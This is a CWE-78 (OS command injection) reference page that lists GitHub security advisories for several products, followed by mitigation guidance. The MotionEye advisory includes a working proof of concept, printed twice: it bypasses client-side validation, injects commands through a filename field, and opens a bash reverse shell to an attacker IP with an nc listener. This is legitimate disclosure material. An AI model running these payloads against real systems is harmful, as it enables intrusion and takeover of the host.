CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8343 vulnerabilities reference this CWE, most recent first.
GHSA-J88Q-33H3-G8PX
Vulnerability from github – Published: 2024-08-24 12:30 – Updated: 2024-08-24 12:30A vulnerability, which was classified as critical, has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20240814. This issue affects the function cgi_add_zip of the file /cgi-bin/webfile_mgr.cgi of the component HTTP POST Request Handler. The manipulation of the argument path leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed that the product is end-of-life. It should be retired and replaced.
{
"affected": [],
"aliases": [
"CVE-2024-8128"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-24T12:15:04Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20240814. This issue affects the function cgi_add_zip of the file /cgi-bin/webfile_mgr.cgi of the component HTTP POST Request Handler. The manipulation of the argument path leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed that the product is end-of-life. It should be retired and replaced.",
"id": "GHSA-j88q-33h3-g8px",
"modified": "2024-08-24T12:30:46Z",
"published": "2024-08-24T12:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8128"
},
{
"type": "WEB",
"url": "https://github.com/BuaaIOTTeam/Iot_Dlink_NAS/blob/main/DNS_cgi_add_zip.md"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.275699"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.275699"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.396237"
},
{
"type": "WEB",
"url": "https://www.dlink.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J8HH-R9GJ-RH24
Vulnerability from github – Published: 2025-08-20 00:31 – Updated: 2025-08-20 00:31A vulnerability was determined in neurobin shc up to 4.0.3. This vulnerability affects the function make of the file src/shc.c of the component Filename Handler. Executing manipulation can lead to os command injection. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized.
{
"affected": [],
"aliases": [
"CVE-2025-9174"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-19T23:15:28Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in neurobin shc up to 4.0.3. This vulnerability affects the function make of the file src/shc.c of the component Filename Handler. Executing manipulation can lead to os command injection. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized.",
"id": "GHSA-j8hh-r9gj-rh24",
"modified": "2025-08-20T00:31:20Z",
"published": "2025-08-20T00:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9174"
},
{
"type": "WEB",
"url": "https://magnificent-dill-351.notion.site/Command-Execution-in-shc-4-0-3-249c693918ed8040abe3e636c7f18c96"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.320555"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.320555"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.630742"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J8QM-Q2P6-5P6Q
Vulnerability from github – Published: 2025-09-18 04:12 – Updated: 2025-09-18 04:12NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability in the Python backend, where an attacker could cause a remote code execution by manipulating the model name parameter in the model control APIs. A successful exploit of this vulnerability might lead to remote code execution, denial of service, information disclosure, and data tampering.
{
"affected": [],
"aliases": [
"CVE-2025-23316"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-17T22:15:37Z",
"severity": "CRITICAL"
},
"details": "NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability in the Python backend, where an attacker could cause a remote code execution by manipulating the model name parameter in the model control APIs. A successful exploit of this vulnerability might lead to remote code execution, denial of service, information disclosure, and data tampering.",
"id": "GHSA-j8qm-q2p6-5p6q",
"modified": "2025-09-18T04:12:19Z",
"published": "2025-09-18T04:12:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23316"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5691"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J8RW-22G2-RJ2G
Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2022-05-13 01:28The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.4 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 30122.
{
"affected": [],
"aliases": [
"CVE-2012-6602"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-08-31T17:55:00Z",
"severity": "HIGH"
},
"details": "The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.4 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 30122.",
"id": "GHSA-j8rw-22g2-rj2g",
"modified": "2022-05-13T01:28:26Z",
"published": "2022-05-13T01:28:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6602"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2012-6602"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J8WR-FWF2-VVR9
Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2025-04-01 23:03All versions of the package create-choo-electron are vulnerable to Command Injection via the devInstall function due to improper user-input sanitization.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "create-choo-electron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25908"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-27T01:06:29Z",
"nvd_published_at": "2023-01-26T21:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of the package create-choo-electron are vulnerable to Command Injection via the devInstall function due to improper user-input sanitization.",
"id": "GHSA-j8wr-fwf2-vvr9",
"modified": "2025-04-01T23:03:04Z",
"published": "2023-01-26T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25908"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-CREATECHOOELECTRON-3157953"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Command Injection in create-choo-electron"
}
GHSA-J8XC-43RR-F4PF
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04Multiple vulnerabilities exist in RaspAP 2.3 to 2.6.5 in the "interface", "ssid" and "wpa_passphrase" POST parameters in /hostapd, when the parameter values contain special characters such as ";" or "$()" which enables an authenticated attacker to execute arbitrary OS commands.
{
"affected": [],
"aliases": [
"CVE-2021-33358"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-09T18:15:00Z",
"severity": "HIGH"
},
"details": "Multiple vulnerabilities exist in RaspAP 2.3 to 2.6.5 in the \"interface\", \"ssid\" and \"wpa_passphrase\" POST parameters in /hostapd, when the parameter values contain special characters such as \";\" or \"$()\" which enables an authenticated attacker to execute arbitrary OS commands.",
"id": "GHSA-j8xc-43rr-f4pf",
"modified": "2022-05-24T19:04:31Z",
"published": "2022-05-24T19:04:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33358"
},
{
"type": "WEB",
"url": "https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf"
},
{
"type": "WEB",
"url": "https://github.com/RaspAP/raspap-webgui/blob/8f0ae3b36aa1020d21477e66010c6b2146e7c222/app/img/wifi-qr-code.php"
},
{
"type": "WEB",
"url": "https://github.com/RaspAP/raspap-webgui/blob/b02660d5ff8d9faa5d3ef49778b23e832851e0f4/includes/hostapd.php"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J923-487J-W32H
Vulnerability from github – Published: 2022-05-17 05:27 – Updated: 2022-05-17 05:27The administrative web interface on Cisco TelePresence Immersive Endpoint Devices before 1.7.4 allows remote authenticated users to execute arbitrary commands via a malformed request on TCP port 443, aka Bug ID CSCtn99724.
{
"affected": [],
"aliases": [
"CVE-2012-3075"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-07-12T10:34:00Z",
"severity": "HIGH"
},
"details": "The administrative web interface on Cisco TelePresence Immersive Endpoint Devices before 1.7.4 allows remote authenticated users to execute arbitrary commands via a malformed request on TCP port 443, aka Bug ID CSCtn99724.",
"id": "GHSA-j923-487j-w32h",
"modified": "2022-05-17T05:27:50Z",
"published": "2022-05-17T05:27:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-3075"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20120711-cts"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J945-QM58-4GJX
Vulnerability from github – Published: 2025-11-03 21:48 – Updated: 2025-11-03 21:48Summary
A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
Details
Root Cause:
MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Vulnerability flow:
Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload
Affected code:
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
Proof of Concept (PoC)
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.
Environment Setup
-
Start MotionEye container
Launch the vulnerable container:
bash docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge -
Verify version
Confirm the running version inside logs:
bash docker logs motioneye | grep "motionEye server"
Result:
motionEye server 0.43.1b4 -
Container shell access (for verification later)
Keep a shell handy to verify results:
bash docker exec -it motioneye /bin/bash ls -la /tmp
Exploitation Steps
- Access Web Interface
- Open browser at:
http://127.0.0.1:9999 - Login with default credentials: admin / (blank password)
-
Add a sample RTSP network camera (required to enable camera-specific settings).
-
Attempt malicious filename input
- Go to: Camera Settings → Still Images
- In the Image File Name field, try:
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S -
Observation: This is blocked by client-side validation in the browser.
-
Client-Side Validation Discovery
- The check is implemented in JavaScript:
/static/js/main.js?v=0.43.1b4→ references/static/js/ui.js?v=0.43.1b4
-
Example validation function:
javascript function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; } -
Bypass Validation
- Open browser console (F12 → Console tab)
- Override the function to always return true:
javascript configUiValid = function() { return true; }; -
This bypasses client-side validation and allows arbitrary values.
-
Inject Payload
- Set Capture Mode:
Interval Snapshots - Set Interval:
10 - Set Image File Name to the payload:
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S -
Click Apply to save settings.
-
Verify Execution
- Inside the container shell:
bash ls -la /tmp - Result: File
/tmp/testis created with root permissions, confirming code execution.
Weaponizing RCE (Reverse Shell Example)
-
Start attacker listener
bash nc -lvnp 4444 -
Inject reverse shell payload
Enter the following into the Image File Name field:
bash $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S -
Result
- A reverse shell connects back to the attacker’s machine.
- Attacker gains full control of the MotionEye container environment.
Root Cause
- MotionEye writes unsanitized values (e.g.,
image_file_name) from the Web UI directly intocamera-<id>.conf. - On restart, the
motionbinary parses these fields as shell-expandable strings, leading to arbitrary command execution.
Impact
Type: OS Command Injection → Remote Code Execution
Who is impacted:
- Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
- Containerized and bare-metal installs alike.
Potential consequences:
- Full compromise of MotionEye container.
- Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "motioneye"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.43.1b5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-60787"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-03T21:48:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nA command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).\n\n## Details\n### Root Cause:\nMotionEye accepts arbitrary strings from fields such as **image_file_name** and **movie_filename** in the Web UI. These are written directly into **/etc/motioneye/camera-*.conf**. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.\n\n### Vulnerability flow:\nDashboard (Web UI)\n \u2193\nConfigHandler.set_config()\n \u2193\ncamera-*.conf written\n \u2193\nmotionctl.restart()\n \u2193\nMotion parses config \u2192 executes payload\n\n\n### Affected code:\nThe issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.\n\n\n### Proof of Concept (PoC)\n\nThe following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye. \nTested using the official Docker image.\n\n---\n\n#### Environment Setup\n1. **Start MotionEye container** \n Launch the vulnerable container: \n ```bash\n docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge\n ```\n\n2. **Verify version** \n Confirm the running version inside logs: \n ```bash\n docker logs motioneye | grep \"motionEye server\"\n ``` \n **Result:** \n ```\n motionEye server 0.43.1b4\n ```\n \u003cimg width=\"741\" height=\"168\" alt=\"version_ver\" src=\"https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320\" /\u003e\n\n3. **Container shell access (for verification later)** \n Keep a shell handy to verify results: \n ```bash\n docker exec -it motioneye /bin/bash\n ls -la /tmp\n ```\n\n---\n\n#### Exploitation Steps\n4. **Access Web Interface** \n - Open browser at: `http://127.0.0.1:9999` \n - Login with default credentials: **admin** / *(blank password)* \n - Add a sample RTSP network camera (required to enable camera-specific settings).\n \n \u003cimg width=\"1623\" height=\"869\" alt=\"add_camera\" src=\"https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc\" /\u003e\n\n5. **Attempt malicious filename input** \n - Go to: **Camera Settings \u2192 Still Images** \n - In the **Image File Name** field, try: \n ```bash\n $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n ``` \n - **Observation:** This is blocked by client-side validation in the browser.\n \n \u003cimg width=\"739\" height=\"104\" alt=\"er1\" src=\"https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b\" /\u003e\n \n \u003cimg width=\"611\" height=\"90\" alt=\"er2\" src=\"https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01\" /\u003e\n\n6. **Client-Side Validation Discovery** \n - The check is implemented in JavaScript: \n - `/static/js/main.js?v=0.43.1b4` \u2192 references `/static/js/ui.js?v=0.43.1b4` \n - Example validation function: \n ```javascript\n function configUiValid() {\n $(\u0027div.settings\u0027).find(\u0027.validator\u0027).each(function () { this.validate(); });\n var valid = true;\n $(\u0027div.settings input, select\u0027).each(function () {\n if (this.invalid) { valid = false; return false; }\n });\n return valid;\n }\n ```\n\n7. **Bypass Validation** \n - Open browser console (**F12 \u2192 Console tab**) \n - Override the function to always return true: \n ```javascript\n configUiValid = function() { return true; };\n ``` \n - This bypasses client-side validation and allows arbitrary values.\n \u003cimg width=\"819\" height=\"539\" alt=\"bypass\" src=\"https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2\" /\u003e\n\n8. **Inject Payload** \n - Set **Capture Mode**: `Interval Snapshots` \n - Set **Interval**: `10` \n - Set **Image File Name** to the payload: \n ```bash\n $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n ``` \n - Click **Apply** to save settings.\n \u003cimg width=\"565\" height=\"344\" alt=\"inject_payload\" src=\"https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e\" /\u003e\n\n9. **Verify Execution** \n - Inside the container shell: \n ```bash\n ls -la /tmp\n ``` \n - **Result:** File `/tmp/test` is created with root permissions, confirming code execution.\n \u003cimg width=\"554\" height=\"164\" alt=\"verify\" src=\"https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02\" /\u003e\n\n---\n\n#### Weaponizing RCE (Reverse Shell Example)\n10. **Start attacker listener** \n ```bash\n nc -lvnp 4444\n ```\n\n11. **Inject reverse shell payload** \n Enter the following into the **Image File Name** field: \n ```bash\n $(python3 -c \"import os;os.system(\u0027bash -c \\\"bash -i \u003e\u0026 /dev/tcp/192.168.0.108/4444 0\u003e\u00261\\\"\u0027)\").%Y-%m-%d-%H-%M-%S\n ```\n\n12. **Result** \n - A reverse shell connects back to the attacker\u2019s machine. \n - Attacker gains full control of the MotionEye container environment.\n \u003cimg width=\"1140\" height=\"366\" alt=\"final\" src=\"https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9\" /\u003e\n\n---\n\n#### Root Cause\n- MotionEye writes unsanitized values (e.g., `image_file_name`) from the Web UI directly into `camera-\u003cid\u003e.conf`. \n- On restart, the `motion` binary parses these fields as shell-expandable strings, leading to arbitrary command execution. \n\n## Impact\nType: OS Command Injection \u2192 Remote Code Execution\n\nWho is impacted:\n\n1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).\n2. Containerized and bare-metal installs alike.\n\nPotential consequences:\n\n1. Full compromise of MotionEye container.\n2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.",
"id": "GHSA-j945-qm58-4gjx",
"modified": "2025-11-03T21:48:19Z",
"published": "2025-11-03T21:48:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-j945-qm58-4gjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60787"
},
{
"type": "PACKAGE",
"url": "https://github.com/motioneye-project/motioneye"
},
{
"type": "WEB",
"url": "https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "motionEye vulnerable to RCE via unsanitized motion config parameter"
}
GHSA-J955-9FM5-HG33
Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-07-13 00:00Multiple command injection vulnerabilities exist in the web_server ajax endpoints functionalities of Robustel R1510 3.3.0. A specially-crafted network packets can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger these vulnerabilities.The /ajax/remove_sniffer_raw_log/ API is affected by a command injection vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-33327"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-30T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Multiple command injection vulnerabilities exist in the web_server ajax endpoints functionalities of Robustel R1510 3.3.0. A specially-crafted network packets can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger these vulnerabilities.The `/ajax/remove_sniffer_raw_log/` API is affected by a command injection vulnerability.",
"id": "GHSA-j955-9fm5-hg33",
"modified": "2022-07-13T00:00:41Z",
"published": "2022-07-01T00:01:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33327"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1573"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J95F-33M4-87JF
Vulnerability from github – Published: 2022-05-24 19:21 – Updated: 2022-05-24 19:21OS command injection vulnerability in soap.cgi (soapcgi_main in cgibin) in D-Link DIR-880L DIR-880L_REVA_FIRMWARE_PATCH_1.08B04 and previous versions, DIR-868L DIR868LA1_FW112b04 and previous versions, DIR-65L DIR-865L_REVA_FIRMWARE_PATCH_1.08.B01 and previous versions, and DIR-860L DIR860LA1_FW110b04 and previous versions allows remote attackers to execute arbitrary OS commands via the service parameter.
{
"affected": [],
"aliases": [
"CVE-2018-6530"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-06T20:29:00Z",
"severity": "CRITICAL"
},
"details": "OS command injection vulnerability in soap.cgi (soapcgi_main in cgibin) in D-Link DIR-880L DIR-880L_REVA_FIRMWARE_PATCH_1.08B04 and previous versions, DIR-868L DIR868LA1_FW112b04 and previous versions, DIR-65L DIR-865L_REVA_FIRMWARE_PATCH_1.08.B01 and previous versions, and DIR-860L DIR860LA1_FW110b04 and previous versions allows remote attackers to execute arbitrary OS commands via the service parameter.",
"id": "GHSA-j95f-33m4-87jf",
"modified": "2022-05-24T19:21:22Z",
"published": "2022-05-24T19:21:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6530"
},
{
"type": "WEB",
"url": "https://github.com/TheBeeMan/Pwning-multiple-dlink-router-via-SOAP-proto"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
